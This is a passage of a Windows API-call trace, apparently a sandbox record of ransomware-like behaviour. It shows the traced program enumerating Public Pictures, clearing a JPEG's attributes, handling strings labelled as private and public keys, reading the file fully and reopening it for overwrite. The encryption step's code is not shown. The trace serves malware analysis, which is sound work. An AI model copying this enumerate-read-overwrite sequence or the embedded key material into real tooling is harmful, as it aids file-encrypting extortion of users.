ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0119.734] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0119.734] GetLastError () returned 0x12 [0119.734] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0119.734] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0119.734] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0119.734] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0119.734] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0119.734] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0119.734] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0119.734] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.734] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0119.734] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0119.735] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0119.735] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0119.739] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0119.739] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0119.739] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0119.739] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0119.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22)) returned 1 [0119.740] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg")) returned 0x20 [0119.740] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", dwFileAttributes=0x80) returned 1 [0119.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0119.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0119.744] GetCurrentThreadId () returned 0xa30 [0119.744] GetCurrentThreadId () returned 0xa30 [0119.744] GetCurrentThreadId () returned 0xa30 [0119.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0119.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0119.745] GetCurrentThreadId () returned 0xa30 [0119.745] GetCurrentThreadId () returned 0xa30 [0119.745] GetCurrentThreadId () returned 0xa30 [0119.745] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0119.746] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0119.746] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0119.746] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xd6b22 [0119.746] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0119.746] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eec0000 [0119.747] ReadFile (in: hFile=0x114, lpBuffer=0x7eec0010, nNumberOfBytesToRead=0xd6b22, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7eec0010*, lpNumberOfBytesRead=0x18f6a0*=0xd6b22, lpOverlapped=0x0) returned 1 [0119.786] CloseHandle (hObject=0x114) returned 1 [0119.786] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ede0000 [0119.792] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed00000 [0119.952] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 